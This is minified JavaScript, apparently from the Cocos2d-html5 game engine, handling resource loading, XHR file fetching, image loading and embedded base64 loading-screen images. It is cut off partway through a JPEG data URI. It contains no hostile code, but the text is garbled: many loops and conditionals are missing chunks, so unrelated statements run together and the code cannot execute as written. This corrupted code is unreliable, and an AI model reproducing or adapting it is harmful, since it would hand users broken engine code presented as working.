var b=b||{};b.H=b.H||{};b.f={};n=window;n=Object.prototype;delete window._p;b.Rb=function(a){return document.createElement(a)};b.Ha=function(a,c,d,e){a.addEventListener(c,d,e)};b.PK="undefined"!==typeof require&&require("fs");b.m0=function(a,c){if(a)if(a instanceof Array)for(var d=0,e=a.length;d=a.Mv)){var c=a.Qr.shift(),d=c.value,e=c.index;a.cE++;a.WK.call(a.XK,d,e,function(c){if(!a.OK)if(a.PE++,a.cE--,c)a.OK=!0,a.em&&a.em.call(a.Uv,c);else{var d= Array.prototype.slice.call(arguments,1);a.GL[this.index]=d[0];a.PE==a.size?a.em&&a.em.call(a.Uv,null,a.GL):a.FK()}}.bind(c),a)}};g.ip=function(){if(0==this.Qr.length)this.em&&this.em.call(this.Uv,null,[]);else for(var a=0;ad?a+c+e:a.substring(0,d)+c+e},$o:function(a,c,d){if(0==c.indexOf("."))return this.OM(a,c);var e=a.indexOf("?"),f="";d=d?this.$k(a):"";0=e?0:e+1)+c+d+f}}; b.V={YK:{},gw:{},NX:{},Ll:{},ty:"",v_:"",Of:{},vx:function(){return window.XMLHttpRequest?new window.XMLHttpRequest:new ActiveXObject("MSXML2.XMLHTTP")},uK:function(a){var c=a[0],d=a[1],e=a[2],f=["",null,null];if(1===a.length)f[1]=c instanceof Array?c:[c];else if(2===a.length)"function"==typeof d?(f[1]=c instanceof Array?c:[c],f[2]=d):(f[0]=c||"",f[1]=d instanceof Array?d:[d]);else if(3===a.length)f[0]=c||"",f[1]=d instanceof Array?d:[d],f[2]=e;else throw"arguments error to load js!";return f},A3:function(a, c,d){var e=this,f=e.YK,g=e.uK(arguments),h=g[0],k=g[1],g=g[2];-1=c.length)e&&e();else{var f=this;f.uJ(b.path.join(a,c[d]),!1,function(g){if(g)return e(g);f.cL(a,c,d+1,e)})}},SX:function(){var a=document,c=a.getElementById("cocos2d_loadJsImg");if(!c){c=b.Rb("img");b.eL&&(c.src=b.eL);a=a.getElementById(b.wb.ne.id);a.style.backgroundColor="black";a.parentNode.appendChild(c);var d=getComputedStyle?getComputedStyle(a): a.currentStyle;d||(d={width:a.width,height:a.height});c.style.left=a.offsetLeft+(parseFloat(d.width)-c.width)/2+"px";c.style.top=a.offsetTop+(parseFloat(d.height)-c.height)/2+"px";c.style.position="absolute"}return c},$x:function(a,c){if(b.PK)require("fs").xia(a,function(a,d){a?c(a):c(null,d.toString())});else{var d=this.vx(),e="load "+a+" failed!";d.open("GET",a,!0);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?(d.setRequestHeader("Accept-Charset","utf-8"),d.onreadystatechange= function(){4==d.readyState&&(200==d.status?c(null,d.responseText):c(e))}):(d.overrideMimeType&&d.overrideMimeType("text/plain; charset\x3dutf-8"),d.onload=function(){4==d.readyState&&(200==d.status?c(null,d.responseText):c(e))});d.send(null)}},dL:function(a){if(b.PK)return require("fs").yia(a).toString();var c=this.vx();c.open("GET",a,!1);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?c.setRequestHeader("Accept-Charset","utf-8"):c.overrideMimeType&&c.overrideMimeType("text/plain; charset\x3dutf-8"); c.send(null);return 4==!c.readyState||200!=c.status?null:c.responseText},QO:function(a,c){this.$x(a,function(d,e){try{d?c(d):c(null,JSON.parse(e))}catch(f){throw"load json ["+a+"] failed : "+f;}})},qJ:function(a){return null!=/(\.png)|(\.jpg)|(\.bmp)|(\.jpeg)|(\.gif)/.exec(a)},Us:function(a,c,d){var e=!0;void 0!==d?e=null==c.yF?e:c.yF:void 0!==c&&(d=c);var f=new Image;e&&"file://"!=location.origin&&(f.crossOrigin="Anonymous");b.Ha(f,"load",function(){this.removeEventListener("load",arguments.callee, !1);this.removeEventListener("error",arguments.callee,!1);d&&d(null,f)});b.Ha(f,"error",function(){this.removeEventListener("error",arguments.callee,!1);d&&d("load image failed")});f.src=a;return f},TX:function(a,c,d){var e=this,f=null;(c=a.type)?(c="."+c.toLowerCase(),f=a.src?a.src:a.name+c):(f=a,c=b.path.$k(f));var g=e.Of[f];if(g)return d(null,g);g=e.gw[c.toLowerCase()];if(!g)return b.error("loader for ["+c+"] not exists!"),d();c=e.c2(g.kx?g.kx():e.ty,f);g.load(c,f,a,function(a,c){a?(b.log(a),e.Of[f]= null,delete e.Of[f],d()):(e.Of[f]=c,d(null,c))})},c2:function(a,c){var d=this.NX,e=b.path;if(void 0!==a&&void 0===c){c=a;var f=e.$k(c),f=f?f.toLowerCase():"";a=(f=this.gw[f])?f.kx?f.kx():this.ty:this.ty}c=b.path.join(a||"",c);if(c.match(/[\/(\\\\)]lang[\/(\\\\)]/i)){if(d[c])return d[c];e=e.$k(c)||"";c=d[c]=c.substring(0,c.length-e.length)+"_"+b.pa.language+e}return c},load:function(a,c,d){var e=this,f=arguments.length;if(0==f)throw"arguments error!";3==f?"function"==typeof c&&(c="function"==typeof d? {vQ:c,Gm:d}:{Gm:c,I_:d}):2==f?"function"==typeof c&&(c={Gm:c}):1==f&&(c={});a instanceof Array||(a=[a]);f=new J(a,0,function(a,d,f,m){e.TX(a,d,function(a){if(a)return f(a);var d=Array.prototype.slice.call(arguments,1);c.vQ&&c.vQ.call(c.Rla,d[0],m.size,m.PE);f(null,d[0])})},c.Gm,c.I_);f.ip();return f},EK:function(a,c){var d=this.Ll,e=[],f;for(f in a){var g=a[f];d[f]=g;e.push(g)}this.load(e,c)},cha:function(a,c){var d=this,e=d.Cd(a);e?d.EK(e.filenames,c):d.load(a,function(a,e){d.EK(e[0].filenames,c)})}, Pj:function(a,c){if(a&&c){if("string"==typeof a)return this.gw[a.trim().toLowerCase()]=c;for(var d=0,e=a.length;dc)return"";var d=a[0],e=!0;"object"==typeof d&&(d=JSON.stringify(d),e=!1);for(var f=1;fp.indexOf("core")&&p.splice(0,0,"core");for(var t=0,s=p.length;tc.ZG?(d=b.VX.bind(b),b.error=function(){d("ERROR : "+b.QE.apply(b,arguments))},b.assert=function(a,c){if(!a&&c){for(var g=2;gd;d++)for(var e=0;256>e;e++)c[String.fromCharCode(d+256*e)]=String.fromCharCode(d)+String.fromCharCode(e);d=IEBinaryToArray_ByteStr(a);a=IEBinaryToArray_ByteStr_Last(a);return d.replace(/[\s\S]/g,function(a){return c[a]})+a}};b=b||{};b.eL="data:image/gif;base64,R0lGODlhEAAQALMNAD8/P7+/vyoqKlVVVX9/fxUVFUBAQGBgYMDAwC8vL5CQkP///wAAAP///wAAAAAAACH/C05FVFNDQVBFMi4wAwEAAAAh+QQFAAANACwAAAAAEAAQAAAEO5DJSau9OOvNex0IMnDIsiCkiW6g6BmKYlBFkhSUEgQKlQCARG6nEBwOgl+QApMdCIRD7YZ5RjlGpCUCACH5BAUAAA0ALAAAAgAOAA4AAAQ6kLGB0JA4M7QW0hrngRllkYyhKAYqKUGguAws0ypLS8JxCLQDgXAIDg+FRKIA6v0SAECCBpXSkstMBAAh+QQFAAANACwAAAAACgAQAAAEOJDJORAac6K1kDSKYmydpASBUl0mqmRfaGTCcQgwcxDEke+9XO2WkxQSiUIuAQAkls0n7JgsWq8RACH5BAUAAA0ALAAAAAAOAA4AAAQ6kMlplDIzTxWC0oxwHALnDQgySAdBHNWFLAvCukc215JIZihVIZEogDIJACBxnCSXTcmwGK1ar1hrBAAh+QQFAAANACwAAAAAEAAKAAAEN5DJKc4RM+tDyNFTkSQF5xmKYmQJACTVpQSBwrpJNteZSGYoFWjIGCAQA2IGsVgglBOmEyoxIiMAIfkEBQAADQAsAgAAAA4ADgAABDmQSVZSKjPPBEDSGucJxyGA1XUQxAFma/tOpDlnhqIYN6MEAUXvF+zldrMBAjHoIRYLhBMqvSmZkggAIfkEBQAADQAsBgAAAAoAEAAABDeQyUmrnSWlYhMASfeFVbZdjHAcgnUQxOHCcqWylKEohqUEAYVkgEAMfkEJYrFA6HhKJsJCNFoiACH5BAUAAA0ALAIAAgAOAA4AAAQ3kMlJq704611SKloCAEk4lln3DQgyUMJxCBKyLAh1EMRR3wiDQmHY9SQslyIQUMRmlmVTIyRaIgA7"; b.no="data:image/png;base64,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\x3d"; b.gC="data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAAAlAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcE1NPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvbW0vIiB4bWxuczpzdFJlZj0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL3NUeXBlL1Jlc291cmNlUmVmIyIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjM4MDBEMDY2QTU1MjExRTFBQTAzQjEzMUNFNzMxRkQwIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjM4MDBEMDY1QTU1MjExRTFBQTAzQjEzMUNFNzMxRkQwIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkU2RTk0OEM4OERCNDExRTE5NEUyRkE3M0M3QkE1NTlEIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkU2RTk0OEM5OERCNDExRTE5NEUyRkE3M0M3QkE1NTlEIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQADQkJCQoJDQoKDRMMCwwTFhENDREWGhUVFhUVGhkUFhUVFhQZGR0fIB8dGScnKionJzk4ODg5QEBAQEBAQEBAQAEODAwOEA4RDw8RFA4RDhQVERISERUfFRUXFRUfKB0ZGRkZHSgjJiAgICYjLCwoKCwsNzc1NzdAQEBAQEBAQEBA/8AAEQgAyACgAwEiAAIRAQMRAf/EALAAAAEFAQEAAAAAAAAAAAAAAAQAAgMFBgcBAQEAAwEBAAAAAAAAAAAAAAAAAQMEAgUQAAIBAgIEBwoLBgQGAwAAAAECAwAEEQUhMRIGQVFxsTITFGGBwdEiQlKSMzWRoeFicqKyI1NzFYJjJDQWB9KjVCbxwkNkJWXik3QRAAIBAgMFBQcDBQEAAAAAAAABAhEDIRIEMUFRcTJhwVIUBZGhsSJyEzOB0ULhYpIjUxX/2gAMAwEAAhEDEQA/AMJSpUqAVKlXuFAeUq9wpUB5XuFe4V6ooDzZHDox0CnGMinzwl7Z8NajaHeoO3vmTBZBtp9YUIqTEV5ROxHKnWRnaU8VRMhFBUjpV7hSoSeUq9pUB5Sr2lhQHlKvcK8oBV7hSFSRrtaKAZs07YNPM1pG2xJIAw1jSeandry/8X4m8VCKkWwaWwam7Xl/4v1W8VLtmX/i/VbxUoKkWwakSM407tmX/i/VbxUmzGwjQsjdY41IARie/U0IbZO0kNtCXnOCkEBeFu4KI3Bs7DNb27ya+jDx3kJeEnpJJEcQVbWDsk17u5urd591ucZkWhym2Vnd9RkCDEpFxDRpbw0bunu5mlp2De2FMLYXOD2wB2xbOeraUcYGJ72mlSUiqzzdzMd3Z3mixltA2yzcK/NlHM1DQyRXce1HocdNOEfJXZ88y9ZojOqhiBszIRiHQ8Y4cK5TvHuzLljHNMqxNoDjLFraHHnjPxcNCGVbxEUzYNTx5jZSxhpW6qTzlwJ+DCvO2Zf+L9VvFSgqyHYNLYNTdssPxfibxUu